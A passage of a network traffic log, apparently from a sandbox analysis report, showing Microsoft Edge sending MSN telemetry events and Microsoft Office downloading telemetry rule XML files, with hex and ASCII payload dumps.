2024-10-30 17:06:47 UTC	4870	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 33 30 54 31 37 3a 30 36 3a 34 35 2e 39 38 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 36 31 62 32 37 36 65 2d 61 38 30 31 2d 34 31 33 62 2d 61 36 62 61 2d 65 33 39 31 36 36 35 30 35 62 65 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 36 32 30 35 39 30 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-30T17:06:45.982Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"c61b276e-a801-413b-a6ba-e39166505be9","epoch":"2262059038"},"app":{"locale
2024-10-30 17:06:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2427b7d18fb74a4ebc94a9d79ade50ac&HASH=2427&LV=202410&V=4&LU=1730308007377; Domain=.microsoft.com; Expires=Thu, 30 Oct 2025 17:06:47 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=05298548c2f04da78eff501e3002b7c6; Domain=.microsoft.com; Expires=Wed, 30 Oct 2024 17:36:47 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1394 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 30 Oct 2024 17:06:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49906	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:47 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:47 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:47 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 1f235477-301e-003f-2c03-27266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170647Z-17fbfdc98bb2xwflv0w9dps90c0000000970000000002q6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:47 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49905	20.189.173.15	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:47 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730308006449&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5087 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1; msnup=
2024-10-30 17:06:47 UTC	5087	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 33 30 54 31 37 3a 30 36 3a 34 36 2e 34 34 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 36 31 62 32 37 36 65 2d 61 38 30 31 2d 34 31 33 62 2d 61 36 62 61 2d 65 33 39 31 36 36 35 30 35 62 65 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 36 32 30 35 39 30 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-30T17:06:46.448Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"c61b276e-a801-413b-a6ba-e39166505be9","epoch":"2262059038"},"app":{"locale
2024-10-30 17:06:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=70ff92df345e486bb0cea4104304bf35&HASH=70ff&LV=202410&V=4&LU=1730308007897; Domain=.microsoft.com; Expires=Thu, 30 Oct 2025 17:06:47 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=57a652188edc49aa998d7cc20a396572; Domain=.microsoft.com; Expires=Wed, 30 Oct 2024 17:36:47 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1448 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 30 Oct 2024 17:06:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49907	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:47 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:47 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:47 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c6fd9367-401e-008c-7f80-2686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170647Z-r1755647c666qwwlm3r555dyqc00000008f0000000007zur x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:47 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49909	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:47 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:48 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:47 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: c21b0bdf-c01e-008e-186f-287381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170647Z-r1755647c66ljccje5cnds62nc00000007500000000018d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:48 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49908	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:47 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:47 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 170621ef-f01e-003f-351f-28d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170647Z-17fbfdc98bbtf4jxpev5grnmyw00000008f0000000006ku7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:48 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49910	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:48 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:48 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:48 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: d72005e7-a01e-0002-1a61-285074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170648Z-17fbfdc98bb8lw78ye6qppf97g00000008u0000000004hgm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:48 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49911	20.189.173.15	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:48 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730308006942&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9952 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1; msnup=
2024-10-30 17:06:48 UTC	9952	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 33 30 54 31 37 3a 30 36 3a 34 36 2e 39 34 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 36 31 62 32 37 36 65 2d 61 38 30 31 2d 34 31 33 62 2d 61 36 62 61 2d 65 33 39 31 36 36 35 30 35 62 65 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 36 32 30 35 39 30 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-10-30T17:06:46.941Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"c61b276e-a801-413b-a6ba-e39166505be9","epoch":"2262059038"},"app":{"loc
2024-10-30 17:06:48 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=e1aed47cf6e94d3990cc223dd5a31afd&HASH=e1ae&LV=202410&V=4&LU=1730308008301; Domain=.microsoft.com; Expires=Thu, 30 Oct 2025 17:06:48 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=bd97a387022846e88c3dc93afdb16a7c; Domain=.microsoft.com; Expires=Wed, 30 Oct 2024 17:36:48 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1359 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 30 Oct 2024 17:06:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49912	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:48 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:48 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:48 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170648Z-r1755647c66trqwgqbys9wk81g00000006wg0000000056fg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:48 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49913	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:48 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:48 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:48 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170648Z-r1755647c6688lj6g0wg0rqr1400000008kg000000002nz5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:48 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49914	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:48 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:49 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:48 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170648Z-r1755647c66z67vn9nc21z11a800000007q00000000061an x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
